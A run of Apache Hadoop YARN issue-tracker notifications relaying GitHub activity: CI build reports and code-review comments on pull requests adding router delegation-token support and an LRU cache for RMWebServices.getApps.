[ https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583989#comment-17583989 ] ASF GitHub Bot commented on YARN-9708: -- hadoop-yetus commented on PR #4746: URL: https://github.com/apache/hadoop/pull/4746#issuecomment-1225181917 :broken_heart: **-1 overall** | Vote | Subsystem | Runtime | Logfile | Comment | |::|--:|:|::|:---:| | +0 :ok: | reexec | 0m 0s | | Docker mode activated. | | -1 :x: | patch | 0m 19s | | https://github.com/apache/hadoop/pull/4746 does not apply to trunk. Rebase required? Wrong Branch? See https://cwiki.apache.org/confluence/display/HADOOP/How+To+Contribute for help. | | Subsystem | Report/Notes | |--:|:-| | GITHUB PR | https://github.com/apache/hadoop/pull/4746 | | Console output | https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4746/7/console | | versions | git=2.17.1 | | Powered by | Apache Yetus 0.14.0 https://yetus.apache.org | This message was automatically generated. > Yarn Router Support DelegationToken > --- > > Key: YARN-9708 > URL: https://issues.apache.org/jira/browse/YARN-9708 > Project: Hadoop YARN > Issue Type: New Feature > Components: router >Affects Versions: 3.1.1 >Reporter: Xie YiFan >Assignee: fanshilun >Priority: Minor > Labels: pull-request-available > Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch, > RMDelegationTokenSecretManager_storeNewMasterKey.svg, > RouterDelegationTokenSecretManager_storeNewMasterKey.svg > > > 1.we use router as proxy to manage multiple cluster which be independent of > each other in order to apply unified client. Thus, we implement our > customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other > cluster. > 2.Our production environment need kerberos. But router doesn't support > SecureLogin for now. > https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we > improvement it. > 3.Some framework like oozie would get Token via yarnclient#getDelegationToken > which router doesn't support. Our solution is that adding homeCluster to > ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would > be submitted with specified clusterid so that router knows which cluster to > submit this job. Router would get Token from one RM according to specified > clusterid when client call getDelegation meanwhile apply some mechanism to > save this token in memory. > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583991#comment-17583991
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953335382
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/test/java/org/apache/hadoop/yarn/server/router/secure/TestRouterDelegationTokenSecretManager.java:
##
@@ -0,0 +1,198 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.router.secure;
+
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.security.token.delegation.DelegationKey;
+import org.apache.hadoop.test.LambdaTestUtils;
+import org.apache.hadoop.util.Time;
+import org.apache.hadoop.yarn.exceptions.YarnException;
+import org.apache.hadoop.yarn.security.client.RMDelegationTokenIdentifier;
+import org.apache.hadoop.yarn.server.router.clientrm.RouterClientRMService;
+import
org.apache.hadoop.yarn.server.router.security.RouterDelegationTokenSecretManager;
+import org.junit.Assert;
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.util.Arrays;
+
+public class TestRouterDelegationTokenSecretManager extends
AbstractSecureRouterTest {
+
+ private static final Logger LOG =
+ LoggerFactory.getLogger(TestRouterDelegationTokenSecretManager.class);
+
+ @Test
+ public void testRouterStoreNewMasterKey() throws Exception {
+LOG.info("Test RouterDelegationTokenSecretManager: StoreNewMasterKey.");
+
+// Start the Router in Secure Mode
+startSecureRouter();
+
+// Store NewMasterKey
+RouterClientRMService routerClientRMService =
this.getRouter().getClientRMProxyService();
+RouterDelegationTokenSecretManager secretManager =
+routerClientRMService.getRouterDTSecretManager();
+DelegationKey storeKey = new DelegationKey(1234, 4321,
"keyBytes".getBytes());
+secretManager.storeNewMasterKey(storeKey);
+
+// Get DelegationKey
+DelegationKey paramKey = new DelegationKey(1234, 4321,
"keyBytes".getBytes());
+DelegationKey responseKey =
secretManager.getMasterKeyByDelegationKey(paramKey);
+
+Assert.assertNotNull(paramKey);
+Assert.assertEquals(storeKey.getExpiryDate(), responseKey.getExpiryDate());
+Assert.assertEquals(storeKey.getKeyId(), responseKey.getKeyId());
+Assert.assertTrue(Arrays.equals(storeKey.getEncodedKey(),
responseKey.getEncodedKey()));
Review Comment:
I will fix it.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
[jira] [Commented] (YARN-11275) [Federation] Add batchFinishApplicationMaster in UAMPoolManager
[
https://issues.apache.org/jira/browse/YARN-11275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583995#comment-17583995
]
ASF GitHub Bot commented on YARN-11275:
---
hadoop-yetus commented on PR #4792:
URL: https://github.com/apache/hadoop/pull/4792#issuecomment-1225198391
:confetti_ball: **+1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 36s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 0s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 0s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 1 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 44s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 25m 40s | | trunk passed |
| +1 :green_heart: | compile | 9m 55s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 8m 57s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 18s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 25s | | trunk passed |
| +1 :green_heart: | javadoc | 4m 17s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 4m 5s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 6m 33s | | trunk passed |
| +1 :green_heart: | shadedclient | 22m 44s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 30s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 10s | | the patch passed |
| +1 :green_heart: | compile | 9m 7s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 9m 7s | | the patch passed |
| +1 :green_heart: | compile | 8m 43s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 8m 43s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| +1 :green_heart: | checkstyle | 2m 2s | | the patch passed |
| +1 :green_heart: | mvnsite | 3m 53s | | the patch passed |
| +1 :green_heart: | javadoc | 3m 41s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 35s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 6m 16s | | the patch passed |
| +1 :green_heart: | shadedclient | 21m 53s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| +1 :green_heart: | unit | 5m 11s | | hadoop-yarn-common in the patch
passed. |
| +1 :green_heart: | unit | 3m 16s | | hadoop-yarn-server-common in
the patch passed. |
| +1 :green_heart: | unit | 24m 18s | | hadoop-yarn-server-nodemanager
in the patch passed. |
| +1 :green_heart: | asflicense | 1m 15s | | The patch does not
generate ASF License warnings. |
| | | 204m 51s | | |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/3/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4792 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
| uname | Linux c76fa740686d 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux |
| Build tool | maven |
| Personality | dev-support/bin/hadoop.sh |
| git revision | trunk / 46f8154ebba3818f17517f5405fab37d18303bba |
| Default Java | Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Multi-JDK versions | /usr/lib/jvm/java-11-openjdk-amd64:Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1
/usr/lib/jvm/java-8-openjdk-amd64:Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Test Results |
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/3/testReport/ |
| Max. process+thread count | 731 (vs. ulimit of 5500) |
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584001#comment-17584001
]
ASF GitHub Bot commented on YARN-11276:
---
hadoop-yetus commented on PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1225209958
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 43s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 1s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 0s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 0s | | detect-secrets was not available.
|
| +0 :ok: | xmllint | 0m 0s | | xmllint was not available. |
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 2 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 21s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 26m 12s | | trunk passed |
| +1 :green_heart: | compile | 10m 5s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 9m 9s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 6s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 19s | | trunk passed |
| +1 :green_heart: | javadoc | 4m 21s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 49s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 14s | | trunk passed |
| +1 :green_heart: | shadedclient | 22m 40s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 30s | | Maven dependency ordering for patch |
| -1 :x: | mvninstall | 0m 51s |
[/patch-mvninstall-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-mvninstall-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt)
| hadoop-yarn-server-resourcemanager in the patch failed. |
| -1 :x: | compile | 3m 51s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1. |
| -1 :x: | javac | 3m 51s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1. |
| -1 :x: | compile | 3m 30s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07. |
| -1 :x: | javac | 3m 30s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07. |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| +1 :green_heart: | checkstyle | 1m 31s | | the patch passed |
| -1 :x: | mvnsite | 0m 57s |
[/patch-mvnsite-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/5/artifact/out/patch-mvnsite-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt)
| hadoop-yarn-server-resourcemanager in the patch failed. |
| +1 :green_heart: | javadoc
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584030#comment-17584030
]
ASF GitHub Bot commented on YARN-11177:
---
hadoop-yetus commented on PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#issuecomment-1225272658
:confetti_ball: **+1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 1m 15s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +0 :ok: | xmllint | 0m 1s | | xmllint was not available. |
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 6 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 27s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 32m 0s | | trunk passed |
| +1 :green_heart: | compile | 4m 54s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 3m 59s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 1m 33s | | trunk passed |
| +1 :green_heart: | mvnsite | 2m 55s | | trunk passed |
| +1 :green_heart: | javadoc | 2m 45s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 2m 23s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 5m 6s | | trunk passed |
| +1 :green_heart: | shadedclient | 24m 50s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 31s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 14s | | the patch passed |
| +1 :green_heart: | compile | 4m 40s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 4m 40s | | the patch passed |
| +1 :green_heart: | compile | 3m 50s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 3m 50s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| -0 :warning: | checkstyle | 1m 18s |
[/results-checkstyle-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4764/8/artifact/out/results-checkstyle-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server.txt)
| hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server: The patch generated 2
new + 6 unchanged - 0 fixed = 8 total (was 6) |
| +1 :green_heart: | mvnsite | 2m 38s | | the patch passed |
| +1 :green_heart: | javadoc | 1m 54s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 1m 54s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 5m 6s | | the patch passed |
| +1 :green_heart: | shadedclient | 25m 44s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| +1 :green_heart: | unit | 3m 11s | | hadoop-yarn-server-common in
the patch passed. |
| +1 :green_heart: | unit | 108m 12s | |
hadoop-yarn-server-resourcemanager in the patch passed. |
| +1 :green_heart: | unit | 3m 36s | | hadoop-yarn-server-router in
the patch passed. |
| +1 :green_heart: | asflicense | 0m 39s | | The patch does not
generate ASF License warnings. |
| | | 265m 18s | | |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4764/8/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4764 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets xmllint |
| uname | Linux b0c89f0288de 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux |
| Build tool | maven |
| Personality | dev-support/bin/hadoop.sh |
| git revision | trunk / f8b9a01913f74bc7616eb95c7f87fe2ac83c0459 |
| Default Java
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584032#comment-17584032
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953415288
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/RMWebServices.java:
##
@@ -254,6 +258,11 @@ public class RMWebServices extends WebServices implements
RMWebServiceProtocol {
private boolean filterAppsByUser = false;
private boolean filterInvalidXMLChars = false;
private boolean enableRestAppSubmissions = true;
+ private LRUCache appsLRUCache;
+ private AtomicLong getAppsSuccessTimes = new AtomicLong(0);
+ private AtomicLong hitAppsCacheTimes = new AtomicLong(0);
+ private boolean enableAppsCache;
Review Comment:
enableAppsCache = false ?
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584033#comment-17584033
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953415622
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/RMWebServices.java:
##
@@ -275,6 +284,16 @@ public RMWebServices(final ResourceManager rm,
Configuration conf) {
this.enableRestAppSubmissions = conf.getBoolean(
YarnConfiguration.ENABLE_REST_APP_SUBMISSIONS,
YarnConfiguration.DEFAULT_ENABLE_REST_APP_SUBMISSIONS);
+this.enableAppsCache =
this.conf.getBoolean(YarnConfiguration.APPS_CACHE_ENABLE,
+YarnConfiguration.DEFAULT_APPS_CACHE_ENABLE);
+LOG.info("enableAppsCache=" + enableAppsCache);
Review Comment:
LOG.info("enableAppsCache = {}", enableAppsCache); ?
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584034#comment-17584034
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953416461
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/RMWebServices.java:
##
@@ -622,6 +641,23 @@ public AppsInfo getApps(@Context HttpServletRequest hsr,
@QueryParam(RMWSConsts.NAME) String name,
@QueryParam(RMWSConsts.DESELECTS) Set unselectedFields) {
+AppsCacheKey cacheKey = AppsCacheKey.newInstance(stateQuery, new
HashSet<>(statesQuery),
+finalStatusQuery, userQuery, queueQuery, limit, startedBegin,
startedEnd, finishBegin,
+finishEnd, new HashSet<>(applicationTypes), new
HashSet<>(applicationTags), name,
+unselectedFields);
+if (this.enableAppsCache) {
+ long successTimes = getAppsSuccessTimes.incrementAndGet();
+ if (successTimes % 1000 == 0) {
+LOG.debug("hit cache info: getAppsSuccessTimes=" + successTimes + ",
hitAppsCacheTimes="
+ + hitAppsCacheTimes.get());
Review Comment:
indentation？
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/main/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/RMWebServices.java:
##
@@ -622,6 +641,23 @@ public AppsInfo getApps(@Context HttpServletRequest hsr,
@QueryParam(RMWSConsts.NAME) String name,
@QueryParam(RMWSConsts.DESELECTS) Set unselectedFields) {
+AppsCacheKey cacheKey = AppsCacheKey.newInstance(stateQuery, new
HashSet<>(statesQuery),
+finalStatusQuery, userQuery, queueQuery, limit, startedBegin,
startedEnd, finishBegin,
+finishEnd, new HashSet<>(applicationTypes), new
HashSet<>(applicationTags), name,
+unselectedFields);
+if (this.enableAppsCache) {
+ long successTimes = getAppsSuccessTimes.incrementAndGet();
+ if (successTimes % 1000 == 0) {
+LOG.debug("hit cache info: getAppsSuccessTimes=" + successTimes + ",
hitAppsCacheTimes="
+ + hitAppsCacheTimes.get());
Review Comment:
indentation？
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17584037#comment-17584037
]
ASF GitHub Bot commented on YARN-11276:
---
slfan1989 commented on code in PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#discussion_r953417054
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-resourcemanager/src/test/java/org/apache/hadoop/yarn/server/resourcemanager/webapp/TestRMWebServices.java:
##
@@ -723,6 +726,83 @@ public void testAppsRace() throws Exception {
assertTrue(appsInfo.getApps().isEmpty());
}
+ @Test
+ public void testGetAppsCache() throws YarnException, InterruptedException {
+// mock up an RM that returns app reports for apps that don't exist
+// in the RMApps list
+ApplicationId appId = ApplicationId.newInstance(1, 1);
+ApplicationReport mockReport = mock(ApplicationReport.class);
+when(mockReport.getApplicationId()).thenReturn(appId);
+GetApplicationsResponse mockAppsResponse =
+mock(GetApplicationsResponse.class);
+when(mockAppsResponse.getApplicationList())
+.thenReturn(Arrays.asList(new ApplicationReport[]{mockReport}));
+
+ClientRMService mockClientSvc = mock(ClientRMService.class);
+when(mockClientSvc.getApplications(isA(GetApplicationsRequest.class)))
+.thenReturn(mockAppsResponse);
+ResourceManager mockRM = mock(ResourceManager.class);
+RMContextImpl rmContext = new RMContextImpl(null, null,
Review Comment:
single line
> Add lru cache for RMWebServices.getApps
> ---
>
> Key: YARN-11276
> URL: https://issues.apache.org/jira/browse/YARN-11276
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: resourcemanager
>Affects Versions: 3.4.0
>Reporter: Xianming Lei
>Priority: Minor
> Labels: pull-request-available
>
> In our YARN cluster, there are thousands of apps running at the same time,
> the return result of getApps reaches about 10M, and many requests are the
> same input parameters, we can add cache for RMWebServices.getApps to reduce
> processing delay
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
